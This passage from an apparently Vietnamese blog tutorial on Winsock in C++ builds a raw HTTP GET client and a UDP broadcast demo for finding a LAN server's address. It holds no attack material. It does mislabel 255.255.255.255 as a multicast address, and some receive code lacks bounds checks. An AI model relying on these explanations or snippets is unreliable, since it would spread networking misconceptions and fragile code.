cout << ConnectPC->h_name << “\n”;
cout << “IP: ” << inet_ntoa(ConnectIP.sin_addr) << “\n”;

b. Gửi REQUEST tới máy chủ WEB

Ví dụ người sử dụng nhập là “http://www.google.com” thì phải có Request tối thiểu để máy chủ xử lý là:

GET / HTTP/1.1
Host: google.com

User-Agent: eXecutive DEMO Client

-> “Host: google.com” rất quan trọng vì có nhiều WEB thuê HOSTING và lúc này có nhiều WEBSITE cùng trên 1 WEBSERVER. Do đó phải xác định miền truy cập

// NOI DUNG REQUEST
char *GetHTML = “GET / HTTP/1.1\r\n”;
char HostRequest[100];
sprintf(HostRequest,”Host: %s\r\n”,lpDomain);
char *UserAgent = “User-Agent: eXecutive DEMO Client \r\n\n”;
// GUI REQUEST
send(Sock,GetHTML,strlen(GetHTML),0);
send(Sock,HostRequest,strlen(HostRequest),0);
send(Sock,UserAgent,strlen(UserAgent),0);

c. Nhận RESPONSE từ máy chủ WEB

Nhận HEADER từ SERVER:
Nguyên tắc là chúng ta sẽ nhận từng BYTE . Khi thấy ký tự “\n\n” có nghĩa là kết thúc Header.

char HeaderResponse;
while(!done){
nByteRevc = recv(Sock,&HeaderResponse,1,0);
if(nByteRevc<0)    // Loi
done=TRUE;
switch(HeaderResponse)    {
case ‘\r’:
break;
case ‘\n’: // Neu gap “\n\n” hay “\n\r\n” thi ket thuc Header
if (EndHeader == true){
done = TRUE;
}
EndHeader=true;
break;
default:
EndHeader=false;
break;
}
cout << HeaderResponse;
}

Nhận BODY từ SERVER:
Chúng ta sẽ nhận từng lúc 512 Bytes từ SERVER cho đến khi không được SERVER hồi âm nữa (nByteRevc <= 0)
Đoạn CODE như sau:

char HTMLResponse[513]={0};
do{
nByteRevc = recv(Sock,HTMLResponse,sizeof(HTMLResponse)-1,0);        // Đọc 512 Bytes
// Loai bo 1 ky tu bi thua tu HEADER
if (HTMLResponse[0] == 0)
HTMLResponse[0] = ‘ ‘;
if(nByteRevc < 0)    // Ket thuc HTML
break;
HTMLResponse[nByteRevc] = 0; // Ngắt chuỗi nếu RESPONSE nhận < 512 BYTES hoặc cuối cùng để in chuỗi.
cout << HTMLResponse;
}while (nByteRevc > 0);

Rõ ràng giữa send và recv không phải tuân theo quy tắc là gửi ba nhiêu bytes thì phải nhận bấy nhiêu bytes. Và chúng ta có thể gửi hay nhận nhiều lần, vấn đề này không quan trọng trong WINSOCK!

VII. DEMO CLIENT – SERVER VỚI GIAO THỨC UDP

1. UDP là gì?

– Thật ra mình đã giới thiệu về UDP ở phần tạo SOCKET rồi nhưng mình nói lại 1 xíu cho nhanh. UDP là một trong 2 giao thức chính của mô hình TCP/IP để truyền tải dữ liệu. CLIENT – SERVER sử dụng UDP sẽ không bao giờ quan tâm đến về đề dữ liệu có chính xác hay không? Bên gửi cứ gửi và bên nhận cứ nhận, nhận không được thì mặc kệ…

– Người ta sử dụng UDP trong những ứng dụng cần truyền dữ liệu nhanh như CHAT, GAME ONLINE, ….

– Và lần này mình sẽ DEMO 1 bộ ứng dụng Client – Server liên lạc với nhau màClient không cần biết IP Server sử dụng cơ chế Multicast hay Broadcast

2. BROADCAST hay MULTICAST là gì?

a. Broadcast

Chúng ta biết IP chia thành 3 lớp là A,B,C.
Trong cấu trúc địa chỉ IP bao gồm NET_ID và HOST_ID

-> Các host chỉ thấy nhau (liên lạc được) khi chúng có cùng NET_ID.
-> Muốn host liên lạc khi khác NET_ID thì cần phải có cơ chế định tuyến (sử dụng thiết bị router, Server có cấu hình Routing …)

=> Như vậy trong 1 NET_ID phải có 1 địa chỉ nào đó để đại diện cho tất cả các HOST đường mạng đó và đó chính là địa chỉ Broadcast

Ví dụ:
Lớp A: 
Có các IP sau : 10.0.0.100, 10.12.3.1 hay 10.252.252.252
-> Tất cả đều có chung 1 đường mạng 10.0.0.0
-> Và IP đại điện là IP Broadcast: 10.255.255.255.
Nghĩa là khi có 1 gói tin UDP gởi tới địa chỉ này thì tất cả các host trên đều nhận được

b. Multicast

– Địa chỉ Broadcast đại diện cho tất cả các Host nhưng trên cùng 1 đường mạng.
– Địa chỉ Multicast đại diện cho tất cả các HOST trên tất cả các đường mạng khác nhau

Hay chính xác hơn thì địa chỉ “255.255.255.255″ chính là địa chỉ Multicast.
Khi gởi 1 gói tin UDP Packet tới địa chỉ này thì tất cả các host có thể liên lạc được với host gửi (khác đường mạng phải có cơ chế định tuyến) đèu nhận được gói tin này.

Tuy nhiên lưu ý 1 điều là Multicast hay Broadcast chỉ có giá trị trong IPLAN

3. Chương trình DEMO

Ý tưởng: Bạn đã chơi Game Counter Strike chưa???

– Rõ ràng máy Server trong mạng LAN có thể là bất cứ máy tính nào mà Gamer chọn Create Game?
=> Vậy làm sao Client có thể biết được IP máy chủ để Connect.
Và nó phải sử dụng cơ chế tìm IP SERVER sử dụng UDP Broadcast.

Và chương trình DEMO của mình sẽ như sau:

a. SERVER

Cũng như TCP. Nhiệm vụ chính của nó là lắng nghe, tuy nhiên chỉ khác chức năng là không cần phải chấp nhận kết nối từ Client.

// Thiết lập IP PORT
pAddr->sin_family = AF_INET;
pAddr->sin_port = htons(MY_PORT);
pAddr->sin_addr.S_un.S_addr = ADDR_ANY;
// Tìm địa chỉ IP của SERVER <sau này trả lại cho CLIENT>
char lpName[100];
char lpMyIP[100]={0};
gethostname(lpName,sizeof(lpName));
hostent* pMyServer = gethostbyname(lpName);
u_long myIP = *(u_long*)pMyServer->h_addr_list[0];
strcpy(lpMyIP,inet_ntoa(*(in_addr*)&myIP));
// —————————————————————————-
// Đưa thông tin IP và PORT cho SOCKET
nResult = bind(*sock,(sockaddr*)pAddr,sizeof(sockaddr));
if (nResult == -1){
cout << “Loi thiet lap IP va PORT\n”;
HuyWinsock(sock);
return 1;
}
cout << “Dang lang nghe ket noi tren IP: ” << lpMyIP << ” port: ” << MY_PORT << “\n\n”;
int nAddrLen;
int nRevc;
int nSend;
sockaddr_in IPClient;
char buff[512]={0};
while (1){
// Nhận kết nối từ CLIENT
nAddrLen = sizeof(sockaddr_in);
nRevc = recvfrom(*sock,buff,sizeof(buff),0, (sockaddr*)&IPClient,&nAddrLen);
buff[nRevc-1] = 0;
cout << “Nhan ket toi tu CLIENT IP: ” << inet_ntoa(IPClient.sin_addr) << “\n”;
cout << “Noi dung: \”" << buff << “\”\n”;
// Kiểm tra yêu cầu của CLIENT
if (strcmpi(“IP may chu dau???”,buff)==0){
cout << “Hieu yeu cau tu Client!\n”;
// Gửi trả lại cho CLIENT địa chỉ IP của mình
nSend = sendto(*sock,lpMyIP,strlen(lpMyIP),0,(sockaddr*)&IPClient,sizeof(IPClient));
cout << “Gui lai client: ” << nSend << ” Bytes\n”;
}
else{
cout << “Khong hieu yeu cau tu Client!\n”;
}
cout << “\n”;
}

b. CLIENT

-> Nhiệm vụ chính của CLIENT là gửi 1 gói tin BROADCAST với PORT quy định sẵn

Trong chương trình của CLIENT có 1 hàm rất quan trọng để cho phép SOCKET gởi tới địa chỉ BROADCAST

setsockopt(*sock,SOL_SOCKET,SO_BROADCAST,(char*)&b SockBroadcast,sizeof(BOOL));

– Op tùy chọn ở đây là : SO_BROADCAST (gởi gói tin Broadcast);
– bSockBroadcast: TRUE (cho phép), FALSE (không cho phép).

Hàm này có rất nhiều Option. Các bạn có thể tham khảo thêm MSDN.

int FindServer(SOCKET* sock,sockaddr_in* pServerAddr){
BOOL bSockBroadcast=true;
setsockopt(*sock,SOL_SOCKET,SO_BROADCAST,(char*)&bSockBroadcast,sizeof(BOOL));
pServerAddr->sin_family = AF_INET;
pServerAddr->sin_port = htons(MY_PORT);
pServerAddr->sin_addr.S_un.S_addr = inet_addr(“255.255.255.255″); // Địa chỉ đích là MULTICAST
int nSend;
int nRevc;
int nAddrLen;
char buff[512]=”IP may chu dau???”; // Thông tin gửi tới máy chủ
// Gửi tới máy chủ
nSend = sendto(*sock,buff,sizeof(buff),0,(sockaddr*)pServerAddr,sizeof(sockaddr_in));
cout << “Da gui ” << nSend << ” bytes\n”;
// Nhận hồi âm của máy chủ
sockaddr_in ServerIP;
nAddrLen = sizeof(sockaddr_in);
nRevc = recvfrom(*sock,buff,sizeof(buff),0, (sockaddr*)&ServerIP, &nAddrLen);
buff[nRevc] = 0;
cout << “Da nhan ” << nRevc << ” bytes\n”;
cout << “Noi dung nhan <IP SERVER>: ” << buff << “\n”;
return 0;
}
<<To be continued>> …
%d bloggers like this: